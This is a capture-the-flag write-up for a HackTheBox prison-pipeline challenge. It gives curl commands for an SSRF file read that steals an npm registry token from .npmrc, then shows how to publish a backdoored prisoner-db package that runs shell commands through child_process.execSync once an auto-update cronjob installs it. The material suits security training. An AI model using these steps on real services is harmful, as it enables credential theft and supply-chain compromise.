$ cat writeup.md…
$ cat writeup.md…
HackTheBox Business CTF 2024
One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disab
One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers.
| Component | Description |
|---|---|
| Main App | Node.js Express application on port 5000 (proxied via nginx on port 1337) |
| Verdaccio Registry | Private npm registry on port 4873, accessible externally via registry.prison-pipeline.htb hostname (nginx vhost) |
| Cronjob | Every 30 seconds: checks npm outdated prisoner-db, if outdated runs npm update prisoner-db then pm2 restart prison-pipeline |
| Flag | Located at /root/flag, readable via SUID binary /readflag |
/api/prisoners/import endpoint — accepts URL parameter and fetches content using node-libcurlprisoner-db — private npm package used by the application (contains index.js, curl.js, depends on node-libcurl and js-yaml)npm --registry http://localhost:4873 update prisoner-db every 30 secondsThe import endpoint uses node-libcurl which supports multiple protocols including file:// for local file reads and standard http://. This allows reading local files from the server.
The .npmrc file at /home/node/.npmrc contains a Bearer token for Verdaccio authentication. This token can be extracted via SSRF file read.
The cronjob periodically runs npm update, which will install any newer version of prisoner-db from the internal registry. If we can publish a malicious version, it will be automatically installed and executed.
Nginx routes requests based on server_name:
Host: prison-pipeline.htb → Main app (port 5000)Host: registry.prison-pipeline.htb → Verdaccio (port 4873)This means the Verdaccio registry is accessible externally, but only via the correct hostname. You must add the target IP to /etc/hosts to reach it.
Use the file:// protocol to read the npm configuration:
# Read .npmrc via SSRF curl -X POST "http://TARGET:PORT/api/prisoners/import" \ -H "Content-Type: application/json" \ -d '{"url": "file:///home/node/.npmrc"}'
This returns a prisoner_id. GET that prisoner to read the raw content:
curl "http://TARGET:PORT/api/prisoners/PRISONER_ID"
Response contains:
//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6..."
sudo sh -c 'echo "TARGET_IP registry.prison-pipeline.htb" >> /etc/hosts'
IMPORTANT: This step requires sudo access. The user must do this manually. Without this hosts entry, requests go to the main app instead of Verdaccio because nginx routes by server_name.
In the package directory, create .npmrc:
//registry.prison-pipeline.htb:PORT/:_authToken="TOKEN_HERE"
npm --registry=http://registry.prison-pipeline.htb:PORT whoami --userconfig .npmrc # Should return: registry
CRITICAL: Keep ALL original files (curl.js, index.js, package.json) with original dependencies (js-yaml, node-libcurl). Only add the backdoor and bump the version. Removing node-libcurl dependency or curl.js will crash the app on restart!
Only modify TWO things in the original prisoner-db source:
1. package.json — bump version to 1.0.1:
{ "name": "prisoner-db", "version": "1.0.1", "description": "Prisoner database module", "main": "index.js", "dependencies": { "js-yaml": "^4.1.0", "node-libcurl": "^4.0.0" } }
2. index.js — add backdoor at the START of importPrisoner() function:
async importPrisoner(url) { // backdoor const child_process = require('child_process'); if (url.includes('PWN:')) { try { let cmd = url.replace('PWN:', ''); let output = child_process.execSync(cmd).toString(); return output; } catch (error) { return 'PWN: Error executing command.'; } } // ... rest of original importPrisoner code unchanged ... }
npm publish --registry=http://registry.prison-pipeline.htb:PORT --userconfig .npmrc
Wait ~40 seconds for the cronjob to detect the new version, run npm update, and restart the app:
sleep 40 # Trigger the backdoor via the import endpoint curl -X POST 'http://TARGET:PORT/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url": "PWN:/readflag"}'
The flag is returned in the prisoner_id field of the JSON response.
| Approach | Why It Fails |
|---|---|
| gopher:// SSRF to publish | Crashes the Node.js app permanently (502 Bad Gateway), server never recovers |
| Removing node-libcurl from dependencies | App crashes on restart because require('./curl') → require('node-libcurl') fails |
| Removing curl.js from package | Same crash — the main app depends on it |
| Publishing via Verdaccio PUT API with curl | Tarball format may be incorrect; npm publish handles this correctly |
| Using IP address for registry | Nginx routes by hostname; requests without Host: registry.prison-pipeline.htb go to main app, not Verdaccio |
file:// for local file reads (but gopher:// crashes Node.js!)npm publish not manual API calls — npm handles tarball creation, checksums, and metadata correctlyHost header$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar